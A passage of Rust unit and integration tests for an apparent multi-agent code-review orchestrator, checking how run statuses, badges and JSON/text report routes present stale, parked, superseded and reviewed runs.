21274                "0123456789abcdef".to_owned(),
21275                "Add a web UI".to_owned(),
21276                Config::default(),
21277            );
21278            s.id = id.to_owned();
21279            s.driver_pid = pid;
21280            s.driver_started_at = Some("1790000000".to_owned());
21281            s
21282        };
21283        let states = vec![
21284            mk("20260902-140502-aaaa", Some(77)),
21285            mk("20260902-140502-bbbb", Some(77)),
21286            mk("20260902-140502-cccc", Some(77)),
21287            mk("20260902-140502-dddd", None),
21288        ];
21289        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
21290        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
21291        let sup: HashMap<String, String> = [(
21292            "20260902-140502-aaaa".to_owned(),
21293            "20260902-140502-cccc".to_owned(),
21294        )]
21295        .into();
21296
21297        let status_calls = std::cell::Cell::new(0);
21298        let identity_calls = std::cell::Cell::new(0);
21299        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
21300            |_| {
21301                status_calls.set(status_calls.get() + 1);
21302                Some(true)
21303            },
21304            |_| {
21305                identity_calls.set(identity_calls.get() + 1);
21306                Some("1790000000".to_owned())
21307            },
21308        ));
21309        let rows = summarize(
21310            states,
21311            &open,
21312            &claimed,
21313            &sup,
21314            |p| probe.borrow_mut().status(p),
21315            |p| probe.borrow_mut().started_at(p),
21316        );
21317
21318        assert_eq!(status_calls.get(), 1, "one pid, one status query");
21319        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
21320        assert_eq!(rows.len(), 4);
21321        assert!(!rows[0].waiting && rows[1].waiting);
21322        assert_eq!(rows[0].live, crate::run::Liveness::Live);
21323        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
21324        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
21325        assert_eq!(rows[1].superseded_by, None);
21326    }
21327
21328    #[test]
21329    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
21330        let mut state = RunState::new(
21331            PathBuf::from("/repo/magi"),
21332            "main".to_owned(),
21333            "0123456789abcdef".to_owned(),
21334            "Review only".to_owned(),
21335            Config::default(),
21336        );
21337        state.id = "20260922-090200-dead".to_owned();
21338        state.status = RunStatus::Reviewing;
21339        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
21340            .expect("serialize list row");
21341        assert_eq!(row["status"], "reviewing");
21342        assert_eq!(row["display_status"], "stale");
21343        assert_eq!(row["live"], "dead", "{row}");
21344        assert!(!row["done"].as_bool().unwrap());
21345    }
21346
21347    #[test]
21348    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
21349        use crate::run::Liveness::{Dead, Live, Unknown};
21350        let mut state = RunState::new(
21351            PathBuf::from("/repo/magi"),
21352            "main".to_owned(),
21353            "abc".to_owned(),
21354            "Review only".to_owned(),
21355            Config::default(),
21356        );
21357        for (status, parked, node, waiting, live, expected) in [
21358            (
21359                RunStatus::Judging,
21360                true,
21361                "github-text",
21362                false,
21363                Dead,
21364                "parked",
21365            ),
21366            (RunStatus::Judging, false, "park", false, Dead, "stale"),
21367            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
21368            (
21369                RunStatus::Judging,
21370                true,
21371                "github-text",
21372                true,
21373                Dead,
21374                "waiting",
21375            ),
21376            (
21377                RunStatus::Judging,
21378                false,
21379                "github-text",
21380                true,
21381                Dead,
21382                "waiting",
21383            ),
21384            (
21385                RunStatus::Judging,
21386                false,
21387                "github-text",
21388                false,
21389                Dead,
21390                "stale",
21391            ),
21392            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21393            (RunStatus::Judging, true, "park", false, Live, "judging"),
21394            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21395            (RunStatus::Merged, true, "park", false, Dead, "merged"),
21396            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21397            (
21398                RunStatus::Blocked,
21399                true,
21400                "github-text",
21401                true,
21402                Dead,
21403                "waiting",
21404            ),
21405        ] {
21406            state.status = status;
21407            state.parked = parked;
21408            state.events.clear();
21409            state.event(
21410                "park",
21411                "an earlier park does not determine the latest state",
21412            );
21413            state.event(node, "message is not used for classification");
21414            let summary = RunSummary::of(&state, waiting, live);
21415            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21416            assert_eq!(
21417                summary.display_status, expected,
21418                "{status:?}/{node}/{live:?}"
21419            );
21420            assert_eq!(detail.display_status, summary.display_status);
21421            assert_eq!(detail.waiting, summary.waiting);
21422        }
21423        state.status = RunStatus::Judging;
21424        state.parked = false;
21425        state.events.clear();
21426        assert_eq!(run_display_status(&state, false, Dead), "stale");
21427    }
21428
21429    #[test]
21430    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21431        use crate::run::Liveness::{Dead, Live, Unknown};
21432        let mut state = RunState::new(
21433            PathBuf::from("/repo/magi"),
21434            "main".to_owned(),
21435            "abc".to_owned(),
21436            "Badge".to_owned(),
21437            Config::default(),
21438        );
21439        for (status, waiting, live, superseded, expected) in [
21440            (RunStatus::Gating, false, Dead, false, "stale"),
21441            (RunStatus::Gating, false, Dead, true, "superseded"),
21442            (RunStatus::Gating, false, Unknown, true, "superseded"),
21443            (RunStatus::Gating, true, Dead, true, "superseded"),
21444            (RunStatus::Gating, true, Dead, false, "waiting"),
21445            (RunStatus::Gating, false, Unknown, false, "gating"),
21446            (RunStatus::Gating, false, Live, true, "gating"),
21447            (RunStatus::Gating, true, Live, true, "waiting"),
21448            (RunStatus::Merged, false, Dead, true, "merged"),
21449            (RunStatus::Blocked, false, Dead, true, "blocked"),
21450        ] {
21451            state.status = status;
21452            let display = run_display_status(&state, waiting, live);
21453            assert_eq!(
21454                run_badge_status(&state, &display, live, superseded),
21455                expected,
21456                "{status:?}/{live:?}/superseded={superseded}"
21457            );
21458        }
21459    }
21460
21461    #[test]
21462    fn summarize_and_detail_expose_badge_status() {
21463        use crate::run::Liveness::Dead;
21464        let mut state = RunState::new(
21465            PathBuf::from("/repo/magi"),
21466            "main".to_owned(),
21467            "abc".to_owned(),
21468            "Badge".to_owned(),
21469            Config::default(),
21470        );
21471        state.status = RunStatus::Gating;
21472        let none = HashSet::new();
21473        let id = state.id.clone();
21474        let mut by = HashMap::new();
21475        let rows = summarize(
21476            [state.clone()],
21477            &none,
21478            &none,
21479            &by,
21480            |_| Some(false),
21481            |_| None,
21482        );
21483        // No driver recorded: liveness is not provably dead, so the node stays.
21484        assert_eq!(rows[0].badge_status, rows[0].display_status);
21485        by.insert(id, "20260901-000000-913b".to_owned());
21486        let detail = RunDetailView::of(
21487            state.clone(),
21488            false,
21489            Dead,
21490            Some("913b".to_owned()),
21491            None,
21492            None,
21493        );
21494        assert_eq!(detail.badge_status, "superseded");
21495        let json = serde_json::to_value(&detail).unwrap();
21496        assert_eq!(json["badge_status"], "superseded");
21497        let detail = RunDetailView::of(state, false, Dead, None, None, None);
21498        assert_eq!(detail.badge_status, "stale");
21499    }
21500
21501    #[tokio::test]
21502    async fn run_display_status_routes_share_the_open_question_store() {
21503        let f = Fixture::start().await;
21504        let id = "20260922-090200-abcd";
21505        write_run(&f.runs(), id, RunStatus::Judging);
21506        let mut state = read_run(&f.runs(), id).unwrap();
21507        state.parked = true;
21508        state.driver_exited = true;
21509        state.event("github-text", "waiting for the owner");
21510        state.save_under(f.home.path()).unwrap();
21511        let mut task = Task::new(
21512            "resumed task".to_owned(),
21513            "do it".to_owned(),
21514            PathBuf::from("/repo"),
21515            Source::Human,
21516        );
21517        task.runs = vec![id.to_owned(), id.to_owned()];
21518        f.queue().put(&mut task).unwrap();
21519        let store = f.questions();
21520        let mut q = Question::new(
21521            id.to_owned(),
21522            "github-text".to_owned(),
21523            "owner".to_owned(),
21524            "Approve the text?".to_owned(),
21525            String::new(),
21526            Vec::new(),
21527        );
21528        store.put(&mut q).unwrap();
21529        for expected in ["waiting", "parked"] {
21530            let list = f.get("/api/runs").await.json();
21531            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21532            assert_eq!(list[0]["display_status"], expected);
21533            assert_eq!(detail["display_status"], expected);
21534            assert_eq!(detail["waiting"], list[0]["waiting"]);
21535            assert_eq!(list[0]["badge_status"], expected);
21536            assert_eq!(detail["badge_status"], expected);
21537            assert!(list[0]["superseded_by"].is_null());
21538            assert!(detail["superseded_by"].is_null());
21539            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21540            let history = task_detail["history"].as_array().unwrap();
21541            assert_eq!(history.len(), 2);
21542            assert!(history[0]["badge"].is_null());
21543            assert_eq!(history[1]["badge"], expected);
21544            q.status = ask::QuestionStatus::Answered;
21545            store.put(&mut q).unwrap();
21546        }
21547    }
21548
21549    #[tokio::test]
21550    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21551        let f = Fixture::start().await;
21552        let id = "20260922-090200-abcd";
21553        write_run(&f.runs(), id, RunStatus::Judging);
21554        let mut state = read_run(&f.runs(), id).unwrap();
21555        state.parked = true;
21556        state.driver_exited = true;
21557        state.event("park", "stopped at a node boundary");
21558        state.save_under(f.home.path()).unwrap();
21559
21560        for expected in ["parked", "stale"] {
21561            let list = f.get("/api/runs").await.json();
21562            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21563            assert_eq!(list[0]["live"], "dead");
21564            assert_eq!(list[0]["display_status"], expected);
21565            assert_eq!(detail["display_status"], expected);
21566            // Model a driver claim followed by a crash before the next event:
21567            // the persisted flag changes, but the last event is still park.
21568            state.parked = false;
21569            state.save_under(f.home.path()).unwrap();
21570        }
21571    }
21572
21573    #[tokio::test]
21574    async fn the_run_list_is_newest_first_and_honours_a_limit() {
21575        let f = Fixture::start().await;
21576        for id in [
21577            "20260902-140501-aaaa",
21578            "20260902-140502-bbbb",
21579            "20260902-140503-cccc",
21580        ] {
21581            write_run(&f.runs(), id, RunStatus::Merged);
21582        }
21583
21584        let all = f.get("/api/runs").await.json();
21585        let capped = f.get("/api/runs?limit=2").await.json();
21586
21587        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21588        assert_eq!(all.as_array().map(Vec::len), Some(3));
21589        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21590        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21591    }
21592
21593    #[tokio::test]
21594    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21595        let f = Fixture::start().await;
21596        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21597
21598        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21599
21600        assert_eq!(res.status, 200);
21601        assert!(
21602            res.headers
21603                .contains("content-type: text/plain; charset=utf-8"),
21604            "a browser must render it, not download it: {}",
21605            res.headers
21606        );
21607        // The assertion is on content, not on the absence of escapes: colour
21608        // is a process-global that `serve` turns off at startup, and another
21609        // test in this binary may own it while this one runs.
21610        assert!(
21611            res.body.contains("20260902-140501-a1b2"),
21612            "the report is about the run that was asked for: {}",
21613            res.body
21614        );
21615    }
21616
21617    #[tokio::test]
21618    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21619        // The view names the run's state directory, which reads the process-global home.
21620        crate::run::pin_test_home();
21621        let f = Fixture::start().await;
21622        let id = "20260902-140501-a1b2";
21623        write_run(&f.runs(), id, RunStatus::Stalled);
21624        // A stalled panel and one review round, written through the real
21625        // state file so the route reads what a run really leaves behind.
21626        let path = f.runs().join(id).join("run.json");
21627        let mut v: serde_json::Value =
21628            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21629        v["tally"] = serde_json::json!({
21630            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21631            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21632            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21633            "met_quorum": false, "rankings": 1
21634        });
21635        v["reviews"] = serde_json::json!([{
21636            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21637            "e2e_deferred": true,
21638            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21639                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21640            ]}]
21641        }]);
21642        std::fs::write(&path, v.to_string()).unwrap();
21643        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21644        std::fs::write(
21645            f.runs().join("20260902-140502-dead").join("run.json"),
21646            "{not json",
21647        )
21648        .unwrap();
21649
21650        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21651
21652        assert_eq!(res.status, 200, "{}", res.body);
21653        assert!(res.headers.contains("content-type: application/json"));
21654        let j = res.json();
21655        assert_eq!(j["schema"], 1);
21656        assert_eq!(j["header"]["id"], id);
21657        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21658        let kinds: Vec<&str> = j["sections"]
21659            .as_array()
21660            .unwrap()
21661            .iter()
21662            .map(|s| s["kind"].as_str().unwrap())
21663            .collect();
21664        assert_eq!(kinds, ["candidates", "tally", "review"]);
21665        let tally = &j["sections"][1]["tally"];
21666        assert_eq!(
21667            (tally["decided"].clone(), tally["provisional"].clone()),
21668            (false.into(), true.into())
21669        );
21670        let round = &j["sections"][2]["rounds"][0];
21671        assert_eq!(round["e2e"]["state"], "deferred");
21672        assert_eq!(round["findings"][0]["severity"], "major");
21673        assert_eq!(round["findings"][0]["blocking"], true);
21674        assert_eq!(round["findings"][0]["state"], "open");
21675
21676        // The raw route keeps working beside it.
21677        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21678
21679        // An unreadable run is an error, as on the text route, and is counted.
21680        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21681        assert_ne!(bad.status, 200, "{}", bad.body);
21682        assert_eq!(
21683            bad.status,
21684            f.get("/api/runs/20260902-140502-dead/report").await.status
21685        );
21686        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21687        assert_eq!(
21688            f.get("/api/runs/20260902-999999-ffff/report.json")
21689                .await
21690                .status,
21691            404
21692        );
21693    }
21694
21695    #[tokio::test]
21696    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21697        crate::run::pin_test_home();
21698        let f = Fixture::start().await;
21699        let id = "20260902-140501-a1b2";
21700        write_run(&f.runs(), id, RunStatus::Blocked);
21701        let path = f.runs().join(id).join("run.json");
21702        let mut v: serde_json::Value =
21703            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21704        v["sync_only_passes"] = serde_json::json!([{
21705            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21706            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21707            "head_before": "before-sha", "head_after": "after-sha",
21708            "result": "synchronized", "verification_allowed": false
21709        }]);
21710        std::fs::write(&path, v.to_string()).unwrap();
21711
21712        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21713        assert_eq!(res.status, 200, "{}", res.body);
21714        let json = res.json();
21715        let section = json["sections"]
21716            .as_array()
21717            .unwrap()
21718            .iter()
21719            .find(|s| s["key"] == "sync_only")
21720            .expect("base-only report section");
21721        let line = section["lines"][0].as_str().unwrap();
21722        assert!(line.contains("origin/main @ base-sha"), "{line}");
21723        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21724        assert!(line.contains("verification was not allowed"), "{line}");
21725    }
21726
21727    #[tokio::test]
21728    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21729        crate::run::pin_test_home();
21730        let f = Fixture::start().await;
21731        let id = "20260902-140505-facts";
21732        write_run(&f.runs(), id, RunStatus::Stalled);
21733        let path = f.runs().join(id).join("run.json");
21734        let mut v: serde_json::Value =
21735            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21736        v["candidates"] = serde_json::json!([{
21737            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21738            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21739        }]);
21740        v["tally"] = serde_json::json!({
21741            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21742            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21743            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21744            "met_quorum": false, "rankings": 1
21745        });
21746        v["quota"] = serde_json::json!([
21747            {
21748                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21749                "agent": "signed-out", "cause": "authentication"
21750            },
21751            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21752        ]);
21753        v["startup"] = serde_json::json!({
21754            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21755            "failure": "fetch refused\ncredentials expired"
21756        });
21757        v["recovery"] = serde_json::json!({
21758            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21759            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21760            "repair": {"started": {"before": "abcdef012345"}}
21761        });
21762        v["reviews"] = serde_json::json!([{
21763            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21764            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21765            "vote_split": true, "verdict": "approve_with_findings",
21766            "e2e": [{
21767                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21768            }],
21769            "reviews": [
21770                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21771                 "summary": "Initial **concern**.\n\nPlease inspect.",
21772                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21773                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21774            ],
21775            "reconsideration": [{
21776                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21777                "reason": "The blocker is resolved.\nOne minor issue remains."
21778            }]
21779        }]);
21780        v["merge_repairs"] = serde_json::json!([{
21781            "question": "question-42", "head": "abcdef012345",
21782            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21783            "gate": [], "phase": "Failed",
21784            "failure": "owner decision required\ninspect updated results"
21785        }]);
21786        v["bump_decision_attempts"] = serde_json::json!([
21787            {"agent": "first", "outcome": "unavailable"},
21788            {"agent": "second", "outcome": "patch\naccepted"}
21789        ]);
21790        v["release_bump"] = serde_json::json!({
21791            "version": "1.2.3", "local": true,
21792            "problem": "publish failed\nregistry refused",
21793            "release": {
21794                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21795                "failed": "registry refused\nawait owner approval",
21796                "log": [{
21797                    "name": "cargo publish", "code": 1,
21798                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21799                }]
21800            }
21801        });
21802        std::fs::write(&path, v.to_string()).unwrap();
21803
21804        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21805        assert_eq!(res.status, 200, "{}", res.body);
21806        let j = res.json();
21807        assert_eq!(j["schema"], 1);
21808        assert_eq!(j["header"]["tone"], "warn");
21809        assert_eq!(
21810            j["header"]["startup"],
21811            "review branch=topic stage=fetch complete=false"
21812        );
21813        assert_eq!(
21814            j["header"]["startup_failure"],
21815            "fetch refused\ncredentials expired"
21816        );
21817        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21818        assert_eq!(
21819            j["sections"][0]["items"][0]["detail"],
21820            "Already covered.\nNo patch needed."
21821        );
21822        assert_eq!(
21823            j["sections"][1]["tally"]["rate_limited"],
21824            serde_json::json!(["judge-1", "judge-2"])
21825        );
21826        let sections = j["sections"].as_array().unwrap();
21827        let labels: Vec<_> = sections
21828            .iter()
21829            .map(|section| {
21830                section["key"]
21831                    .as_str()
21832                    .or_else(|| section["kind"].as_str())
21833                    .unwrap()
21834            })
21835            .collect();
21836        assert_eq!(
21837            labels,
21838            [
21839                "candidates",
21840                "tally",
21841                "quota_details",
21842                "recovery",
21843                "review",
21844                "merge_repairs",
21845                "release_decision_attempts",
21846                "release_bump",
21847                "release_execution"
21848            ]
21849        );
21850        let note = |key: &str| {
21851            sections
21852                .iter()
21853                .find(|section| section["kind"] == "notes" && section["key"] == key)
21854                .unwrap()
21855        };
21856        let unavailable = note("quota_details");
21857        assert_eq!(unavailable["tone"], "warn");
21858        assert_eq!(
21859            unavailable["lines"],
21860            serde_json::json!([
21861                "judge-1 (signed-out: re-authenticate)",
21862                "judge-2 (usage limit)"
21863            ])
21864        );
21865        let recovery = note("recovery");
21866        assert_eq!(recovery["tone"], "warn");
21867        assert!(
21868            recovery["lines"][0]
21869                .as_str()
21870                .unwrap()
21871                .contains("head moved\nreview the new diff")
21872        );
21873        assert_eq!(
21874            recovery["lines"][1],
21875            "the task's own completion criteria were kept"
21876        );
21877        assert_eq!(recovery["lines"][2], "repair: unfinished");
21878        let review = sections
21879            .iter()
21880            .find(|section| section["kind"] == "review")
21881            .unwrap();
21882        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21883        let round = &review["rounds"][0];
21884        assert_eq!(round["verified_head"], "fedcba9");
21885        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21886        assert_eq!(round["status"], "incomplete");
21887        assert_eq!(round["e2e"]["state"], "pass");
21888        assert_eq!(round["reviewers"][0]["vote"], "reject");
21889        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21890        assert_eq!(
21891            round["reviewers"][0]["reason"],
21892            "Initial **concern**.\n\nPlease inspect."
21893        );
21894        assert!(
21895            !round["reviewers"][0]["reason_md"]
21896                .as_array()
21897                .unwrap()
21898                .is_empty()
21899        );
21900        assert!(round["reviewers"][1]["final_vote"].is_null());
21901        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21902        assert_eq!(
21903            round["reconsideration"][0]["reason"],
21904            "The blocker is resolved.\nOne minor issue remains."
21905        );
21906        assert!(
21907            !round["reconsideration"][0]["reason_md"]
21908                .as_array()
21909                .unwrap()
21910                .is_empty()
21911        );
21912        let repairs = note("merge_repairs");
21913        assert_eq!(repairs["tone"], "warn");
21914        assert_eq!(
21915            repairs["lines"][0],
21916            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21917        );
21918        assert_eq!(
21919            repairs["lines"][1],
21920            "held: owner decision required\ninspect updated results"
21921        );
21922        assert_eq!(
21923            repairs["lines"][2],
21924            "original [R1-1-1] Minor: Check edge case"
21925        );
21926        assert_eq!(
21927            repairs["lines"][3],
21928            "original reviewer #1: ApproveWithFindings"
21929        );
21930        assert_eq!(
21931            repairs["lines"][4],
21932            "Repair never approves a merge; updated results require a fresh owner decision."
21933        );
21934        let attempts = note("release_decision_attempts");
21935        assert_eq!(attempts["tone"], "neutral");
21936        assert_eq!(
21937            attempts["lines"],
21938            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21939        );
21940        let bump = sections
21941            .iter()
21942            .find(|section| section["kind"] == "release_bump")
21943            .unwrap();
21944        assert_eq!(bump["bump"]["automerge"], "local");
21945        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21946        assert_eq!(bump["tone"], "warn");
21947        let execution = note("release_execution");
21948        assert_eq!(execution["tone"], "warn");
21949        assert_eq!(
21950            execution["lines"][0],
21951            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21952        );
21953        assert_eq!(
21954            execution["lines"][1],
21955            "tag on remote: true; 1 command(s) completed"
21956        );
21957        assert_eq!(
21958            execution["lines"][2],
21959            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21960        );
21961
21962        // The original endpoint remains terminal text, including these same facts.
21963        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21964        assert_eq!(raw.status, 200);
21965        assert!(
21966            raw.headers
21967                .contains("content-type: text/plain; charset=utf-8")
21968        );
21969        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21970        assert!(raw.body.contains("Already covered."));
21971        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21972        assert!(raw.body.contains("judge-2 (usage limit)"));
21973        assert!(
21974            raw.body
21975                .contains("owner decision required\ninspect updated results")
21976        );
21977        assert!(raw.body.contains("2. second: patch\naccepted"));
21978        assert!(raw.body.contains(
21979            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21980        ));
21981
21982        // Historical records do not acquire invented startup or verification facts.
21983        let legacy_id = "20260902-140506-old";
21984        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21985        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21986        assert_eq!(legacy.status, 200, "{}", legacy.body);
21987        let legacy = legacy.json();
21988        assert!(legacy["header"]["startup"].is_null());
21989        assert!(legacy["header"]["startup_failure"].is_null());
21990        assert!(
21991            legacy["sections"]
21992                .as_array()
21993                .unwrap()
21994                .iter()
21995                .all(|section| section["kind"] != "notes")
21996        );
21997    }
21998
21999    #[tokio::test]
22000    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
22001        crate::run::pin_test_home();
22002        let f = Fixture::start().await;
22003        let id = "20260902-140503-delib";
22004        write_run(&f.runs(), id, RunStatus::Merged);
22005        let path = f.runs().join(id).join("run.json");
22006        let mut v: serde_json::Value =
22007            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
22008        v["judgements"] = serde_json::json!([
22009            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22010        ]);
22011        v["tally"] = serde_json::json!({
22012            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
22013            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
22014            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
22015            "met_quorum": true, "rankings": 1
22016        });
22017        v["deliberation"] = serde_json::json!([
22018            {
22019                "round": 1,
22020                "turns": [
22021                    {
22022                        "judge": 1,
22023                        "agent": "judge-1",
22024                        "body": "I prefer candidate **A** because it has cleaner tests.",
22025                        "tentative": "A"
22026                    }
22027                ]
22028            },
22029            {
22030                "round": 2,
22031                "turns": [
22032                    {
22033                        "judge": 1,
22034                        "agent": "judge-1",
22035                        "body": "Still thinking, no choice yet.",
22036                        "tentative": null
22037                    }
22038                ]
22039            }
22040        ]);
22041        std::fs::write(&path, v.to_string()).unwrap();
22042
22043        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
22044        assert_eq!(res.status, 200, "{}", res.body);
22045        let j = res.json();
22046        let judging = j["sections"]
22047            .as_array()
22048            .unwrap()
22049            .iter()
22050            .find(|s| s["kind"] == "judging")
22051            .expect("judging section exists");
22052
22053        // Existing summary lines remain intact
22054        let delib_lines = judging["deliberation"].as_array().unwrap();
22055        assert_eq!(delib_lines.len(), 2);
22056        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
22057        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
22058
22059        // rounds carry turn bodies, tentative and parsed body_md
22060        let rounds = judging["rounds"].as_array().unwrap();
22061        assert_eq!(rounds.len(), 2);
22062        let r1_t0 = &rounds[0]["turns"][0];
22063        assert_eq!(r1_t0["judge"], 1);
22064        assert_eq!(r1_t0["agent"], "judge-1");
22065        assert_eq!(r1_t0["tentative"], "A");
22066        assert_eq!(
22067            r1_t0["body"],
22068            "I prefer candidate **A** because it has cleaner tests."
22069        );
22070        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
22071
22072        let r2_t0 = &rounds[1]["turns"][0];
22073        assert_eq!(r2_t0["judge"], 1);
22074        assert_eq!(r2_t0["agent"], "judge-1");
22075        assert!(r2_t0["tentative"].is_null());
22076        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
22077        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
22078
22079        // A run with empty deliberation array yields empty rounds
22080        let id_empty = "20260902-140504-nodelib";
22081        write_run(&f.runs(), id_empty, RunStatus::Merged);
22082        let path_empty = f.runs().join(id_empty).join("run.json");
22083        let mut v_empty: serde_json::Value =
22084            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
22085        v_empty["judgements"] = serde_json::json!([
22086            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22087        ]);
22088        v_empty["deliberation"] = serde_json::json!([]);
22089        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
22090
22091        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
22092        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
22093        let j_empty = res_empty.json();
22094        let judging_empty = j_empty["sections"]
22095            .as_array()
22096            .unwrap()
22097            .iter()
22098            .find(|s| s["kind"] == "judging")
22099            .expect("judging section exists");
22100        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
22101    }
22102
22103    #[tokio::test]
22104    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
22105        let f = Fixture::start().await;
22106
22107        let html = f.get("/").await;
22108        let css = f.get("/app.css").await;
22109        let js = f.get("/app.js").await;
22110
22111        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
22112        assert!(
22113            html.headers
22114                .contains("content-type: text/html; charset=utf-8")
22115        );
22116        assert!(css.headers.contains("content-type: text/css"));
22117        assert!(js.headers.contains("content-type: text/javascript"));
22118        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
22119    }
22120
22121    #[test]
22122    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
22123        let body = |name: &str| {
22124            let at = APP_JS
22125                .find(name)
22126                .unwrap_or_else(|| panic!("{name} missing"));
22127            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22128        };
22129        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
22130        let note = body("function landRoundNote");
22131        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
22132        assert!(note.contains("Land round ${round}"));
22133        let land = body("function renderLand");
22134        let note_at = land
22135            .find("landRoundNote(pr)")
22136            .expect("renderLand uses the note");
22137        assert!(
22138            note_at
22139                < land
